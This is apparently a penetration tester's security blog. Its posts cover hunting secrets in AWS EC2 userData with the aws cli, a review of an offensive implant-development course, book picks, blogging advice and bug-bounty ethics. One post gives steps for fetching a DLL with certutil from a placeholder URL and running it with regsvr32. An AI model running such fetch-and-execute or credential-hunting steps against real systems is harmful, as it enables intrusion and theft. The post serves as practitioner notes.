Thursday, November 29, 2018

AWS EC2 instance userData

In the effort to get me blogging again I'll be doing a few short posts to get the juices flowing (hopefully).

Today I learned about the userData instance attribute for AWS EC2.

In general I thought metadata was only things you can hit from WITHIN the instance via the metadata url:

However, if you read the link above there is an option to add metadata at boot time. 

You can also use instance metadata to access user data that you specified when launching your instance. For example, you can specify parameters for configuring your instance, or attach a simple script. 

That's interesting right?!?!  so if you have some AWS creds the easiest way to check for this (after you enumerate instance IDs) is with the aws cli.

$ aws ec2 describe-instance-attribute --attribute userData --instance-id i-0XXXXXXXX

An error occurred (InvalidInstanceID.NotFound) when calling the DescribeInstanceAttribute operation: The instance ID 'i-0XXXXXXXX' does not exist

ah crap, you need the region...

$ aws ec2 describe-instance-attribute --attribute userData --instance-id i-0XXXXXXXX --region us-west-1
    "InstanceId": "i-0XXXXXXXX",
    "UserData": {
        "Value": "bm90IHRvZGF5IElTSVMgOi0p"}

anyway that can get tedious especially if the org has a ton of things running.  This is precisely the reason @cktricky and I built weirdAAL.  Surely no one would be sticking creds into things at boot time via shell scripts :-)

The module loops trough all the regions and any instances it finds and queries for the userData attribute.  Hurray for automation.

That module is in the current version of weirdAAL. Enjoy.


Thursday, February 8, 2018

Dark Side Ops I & 2 Review

Dark Side Ops I 

 A really good overview of the class is here

I enjoyed the class. This was actually my second time taking the class and it wasn't nearly as overwhelming the 2nd time :-)

 I’ll try not to cover what is in Raphael’s article as it is still applicable and I am assuming you read it before continuing on.

I really enjoyed the VisualStudio time and building Slingshot and Throwback myself along with getting a taste for extending the  implant by adding the keylogger, mimikatz, and hashdump modules.

Windows API developers may be able to greatly extend slingshot but I don't think I have enough WinAPI kung fu to do it and there wasn’t enough setup around the “how” to consistently do it either unless you have a strong windows API background. However, one of the labs consisted of adding load and run powershell functionality which allows you to make use of the plethora of powershell code out there.

There was also a great lab where we learned how to pivot through a compromised SOHO router and the technique could also be extended for VPS or cloud providers.

Cons of the class.

The visual studio piece can get overwhelming but it definitely gives you a big taste of (Windows) implant development.  The class material are getting slightly dated in some cases.  A refresh might be helpful.  More Throwback usage & development would be fun (even as optional labs).


Lab one was getting a fresh copy of slingshot back up and running and then setting up some additional code to do a powershell web cradle to get our slingshot implant up and running on a remote host. Similar to how metasploit web delivery does things.

Lab 2 was doing some devops to set up servers, OpenVPN to tunnel traffic, and adding HTTPS to our slingshot codebase.

Lab 3 was some Initial activity labs (HTA and chrome plugin exploitation)

Lab 4 was tweaking our HTA to defeat some common detections and protections. We also worked on code to do sandbox evasions as it’s becoming more common for automated sandbox solutions to be tied to mail gateways or  just for people doing response.

Lab 5 whitelist bypassing

Lab 6 was doing some profiling via powershell and using slingshot to be able to do checks on the host

Labs 7-9 building a kernel rootkit

Lab 10 persistence via COM Hijacking and hiding our custom DLL in the registry and Lab 11 was privilege escalation via custom service.

Final Thoughts

I enjoyed the four days and felt like I learned a lot. So the TLDR is that I recommend taking the class(es).

I think the set of courses are having a bit of an identity crisis mostly due to the 2 day
format and would be a much better class as a 5 day.  It is heavy development focused meaning you
spend a lot of time in Visual Studio tweaking C code. The “operations” piece  of the course definitely
suffers a bit due to all the dev time. There was minimal talk around lateral movement and the whole
thing is entirely Windows focused so no Linux and no OSX.  A suggestion to fix the “ops” piece
would be to have a Dark Side Ops - Dev and Dark Side Ops - Operator courses where the dev one
is solely deving your implant and the Operator course would be solely using the implant you dev’d
(or was provided to you).  The Silent Break team definitely knows their stuff and a longer class
format or switch up would allow them to showcase that more efficiently.

Thursday, November 16, 2017

Books I'd give to my 30yr old self

A good friend/co-worker recently turned 30.  In preparation for his birthday party I gave some thought to my 30th birthday and the things I now know or have an idea about and what I wish I had known at that point in my life.

I decided to buy him a few books that had impacted my life since my 30th birthday and that I wish I had know or read earlier in life.

I'll split the post into two parts; computer books and life/metaphysical books.

Computer books

This is by no means an exhaustive list.  A more exhaustive list can be found here (recently updated).

He already had The Web Application Hacker's Handbook but had he not I would have purchased a copy for him.  There are lots of Web Hacking books but WAHH is probably the best and most comprehensive one.

The other books I did purchase were The Phoenix Project  and Zero to One.

The Phoenix Project is absolutely one of the best tech books I've read in the last few years.  Working for  Silicon Valley companies I think it can be easy to take for granted the whole idea of DevOps and the power it brings when you can do infrastructure as code, micro services, and the flexibility DevOps can bring to prototyping and developing code and projects.  There is also the "security guy" in the story that serves as the guy we never want to be but sometimes end up being unbeknownst to us.

The running joke is that Zero to One is in the Hipster starter kit but I thought it was a great book.  The quick summary is that Peter Thiel describes businesses that iterate on a known problem and can be successful and there are businesses that create solutions to problems we didn't know we had. Examples of the latter being companies like Google, Facebook, PayPal, Uber.  It's a short book and should be required reading for anyone thinking of starting a business.

The following is life stuff, so if all you care about is tech shit, feel free to eject at this point.

still here?


1st, Many Lives Many Masters by Brian Weiss  A nice gentle introduction into the idea that we reincarnate and our eternal souls.  Written by a psychiatrist who more or less stumbled into the fact that people have past lives while doing normal psychiatry work.

From Amazon:
"As a traditional psychotherapist, Dr. Brian Weiss was astonished and skeptical when one of his patients began recalling past-life traumas that seemed to hold the key to her recurring nightmares and anxiety attacks. His skepticism was eroded, however, when she began to channel messages from the “space between lives,” which contained remarkable revelations about Dr. Weiss’ family and his dead son. Using past-life therapy, he was able to cure the patient and embark on a new, more meaningful phase of his own career."

2nd,  A New Earth by Eckert Tolle This is the best book i read in 2016 and I've been sharing it with everyone I can.  Everyone in infosec should read this book to understand the way the ego works in our day to day lives.

From Amazon:
In A New Earth, Tolle expands on these powerful ideas to show how transcending our ego-based state of consciousness is not only essential to personal happiness, but also the key to ending conflict and suffering throughout the world. Tolle describes how our attachment to the ego creates the dysfunction that leads to anger, jealousy, and unhappiness, and shows readers how to awaken to a new state of consciousness and follow the path to a truly fulfilling existence.

3rd, Self Observation by Red Hawk. The practical application guide if you got something from A New Earth.  An instruction manual around self-observation.

From Amazon:
"This book is an in-depth examination of the much needed process of 'self'-study known as self observation. We live in an age where the "attention function" in the brain has been badly damaged by TV and computers - up to 90 percent of the public under age 35 suffers from attention-deficit disorder! This book offers the most direct, non-pharmaceutical means of healing attention dysfunction. The methods presented here are capable of restoring attention to a fully functional and powerful tool for success in life and relationships. This is also an age when humanity has lost its connection with conscience. When humanity has poisoned the Earth's atmosphere, water, air and soil, when cancer is in epidemic proportions and is mainly an environmental illness, the author asks: What is the root cause? And he boldly answers: failure to develop conscience! Self-observation, he asserts, is the most ancient, scientific, and proven means to develop this crucial inner guide to awakening and a moral life. This book is for the lay-reader, both the beginner and the advanced student of self observation. No other book on the market examines this practice in such detail. There are hundreds of books on self-help and meditation, but almost none on self-study via self observation, and none with the depth of analysis, wealth of explication, and richness of experience which this book offers."


Rich Dad Poor Dad, I talked about this in 2013:

Friday, August 25, 2017

Mentoring: On Blogging

Received the question about blogging. More specifically:
  • How and Why
  • How to benefit from blogging
  • How to be consistent with posting
In my mind, the key to success and blogging is to be totally selfish in its planning and execution.

Blogging is a personal activity/journey that you allow the public to be a part of.  What I mean by this is that the main audience for your blog should be YOU.  My blog is a place where I take notes and occasionally try to talk about a more touchy-feely topics or issues. These notes are notes that I'm ok with sharing publicly. I also keep a private blog  (but really more notes/cheat-sheet think RTFM...I use MDwiki) because you don't need to give everyone all your tricks and secrets.   If you show up for a new job and everyone knows your tricks because you've shared them publicly (because you need attention from strangers) what value are you bringing to your employer?

The benefit to blogging is note taking. I'm a HUGE proponent of taking notes and I'd chalk a lot of my success up to taking copious notes.  When I figure out how to mess with technology X, I take notes on it. As a consultant, it may be months or years before I see it again.  Having notes to go back to saves time and stress.  It also allows me to help people on my team in the event they run into it while I am on a different project.

How/Platforms:  I use Blogger because I don't want to secure/worry about my blogging platform. This blog was on Drupal for a bit and some jerk person decided to make an example of the blog's lack of updates publicly at BlackHat (appreciate the heads up...#totallynotbitter).  With Blogger, hosted WordPress, or some other hosted platform I'm offloading the risk and I don't have to worry about keeping up with patches.  

Consistently posting. No idea. It's clear I have lost the ability to consistently post. I do sometimes queue up a bunch of posts and schedule their posting.  I've found it was easier to find things to blog about when I was consulting since I had a different client every week so it would be difficult to tie a vulnerability back to any particular client.  Now that I work for a company, if I'm talking about some vulnerability or exploit I used there is a good chance I used it for work; potentially exposing the company to risk.

Length.  No one reads long posts.  Break long posts into separate logical posts even if you choose to post them at the same time.

Also see the "On Social Media" post (Todo)


Also see this timely tweet by Robin Wood

Monday, August 21, 2017

Certutil for delivery of files

Quick post putting together some twitter awesomeness


Let's do it

1. Create your DLL
2. Base64encode it (optional)
3. Use certutil.exe -urlcache -split -f http://example/file.txt file.blah to pull it down

4. Base64decode the file with certutil

5. Execute the dll with regsvr32 regsvr32 /s /u mydll.dll

Thursday, June 29, 2017

Follow up to the vuln disclosure post

Summary of responses from this post:

I wanted to document/summarize some of the responses I received and some of the insights I gained via self observation and my interactions with others on the topic.

I received a few replies (less than I hoped for though). To summarize a few:

-I'm not a greedy bastard for thinking it would "be nice" to get paid for reporting a vuln but I should not expect them.

-Bug Bounty awards are appreciation for the work not a right.

-Someone made a nice analogy to losing AWS/Slack keys to losing a cell phone or cat.  Every person might value the return of that cat or phone differently.

-I'm super late to the game if I want to get on the "complain about bug bounties / compensation" train.  **I think this is not quite the same situation but I appreciate the comment**

-The bigger the company, the harder it is to issue an ad-hoc reward if they don't have an established process.

-They [the vulns] have value - just not monetary. The value is to the end-user.

-Generally speaking, I [the author of the comment] think quite a lot of the BB crowd have a self-entitled, bad attitude.

-Always ask yourself if this will hurt innocent people. If so, report it, but make sure the public knows that they f*cked it up.

This blog post reply:

I got a variety responses from it's the right thing to do... up to if they don't pay up, they don't get the info. Collectively,  I don't think we are any closer to an answer.

To get a bit more personal on the subject. I think this piece from Ferris Bueller's Day Off sums it up to an extent:

"The problem is with me"

I've been giving quite a bit of thought to what component of the process brings me the most excitement and enjoyment.  I believe I have identified what component brings me the most enjoyment and will focus on that piece and work to manage any expectations I place on others.

I very much appreciate everyone that engaged in the conversation with me.

More things to think about for sure :-)

Monday, June 26, 2017

Vulnerability Disclosure, Free Bug Reports & Being a Greedy Bastard


Most of my life I've been frustrated/intrigued that my Dad was constantly upset that he would "do the right thing" by people and in return people wouldn't show him gratitude... up to straight up fucking him over in return. Over and over the same cycle would repeat of him doing right by someone only to have that person not reciprocate.

The above is important as it relates to the rest of the post and topic(s).

I was relaying some frustrations to a close non-infosec friend about my experience of discovering  companies had made some fairly serious Internet security uh ohs... like misconfigured s3 buckets full of db backups and creds, root AWS keys checked into github, or slack tokens checked into github/pastebin that would give companies a "REALLY bad day".  These companies had been receptive to the reporting and fixed the problem but did NOT have bug bounty programs and thus did not pay a bounty for the reporting of the issue.

My friend, with some great insight and observation, suggested that I was getting frustrated and doing exactly the same thing my Dad was doing by having assumptions on how other people should behave.

So this blog post is an attempt for me to work thru some of these issues and have a discussion about the topics.

Questions I don't necessarily have answers for:

1. Does a vulnerability I wasn't asked to find have value?

2. If someone outside your company reports an issue and you fix it, does that issue/report now have value/deserve to be paid for (bug bounty)?

3a. If #1 or #2 is Yes, when a business doesn't have a Bug Bounty program, are they morally/ethically/peer pressure obligated to pay something?  If they have a BB program I think most people agree yes. But what about when they don't?

3b. Does the size of the business make a difference? If so, what level?  mom and pop maybe not, VC funded startup?  30 billion dollar Hedge Fund?

4. Is a "Thanks Bro!" enough or have we evolved as a society where basically everything deserves some sort of monetary reward. After being an observer for two BB programs...."f**k you pay me" seems to be the current attitude. If they did a public "Thanks Bro" does that make a difference/satisfy my ego?

5a. Is "making the Internet safer" enough of a reward?

5b. Does a company with an open S3 bucket make the Internet less safe? Does a company leaking client data make the Internet less safe? [I think Yes]
Does a company leaking their OWN data make the Internet less safe? [It's good for their competitors]

If they get ransomeware'd or their EC2 infra shut down/turned off/deleted codespaces style am I somewhat (morally) responsible if I didn't report it?

6. Does ignoring a pretty signifiant issue for a company make me a "bad person"?

7a. Am I a "bad person" if I want $$$ for reporting the issue?

7b. If yes, is that because I make $X and I'm being a greedy bastard? What if I made way less money?

7c. Does ignoring/not reporting an issue because I probably wont get $$ make me a "bad person"? numbers 1-3 come into play here for sure

My last two jobs, I've worked for companies that had Bug Bounty programs so my opinion on the above is DEFINITELY shaped by working for companies that  get it understand and care about their security posture and do feel that reporting security issues by outside researchers has monetary value. An added benefit to have a program, especially through one of the BB vendors, is that you get to NDA the researchers and you get to control disclosure.

Thoughts/comments VERY welcome on this one.  Leaving comments seems out of style now but I do have open DM on twitter if you want to go that route.  I have a few real world experiences with this where I let some companies know some pretty serious stuff (slack token with access to corp slack, S3 buckets with creds/db backups, and root aws keys checked into github for weeks) where it was fixed with no drama but no bounty paid.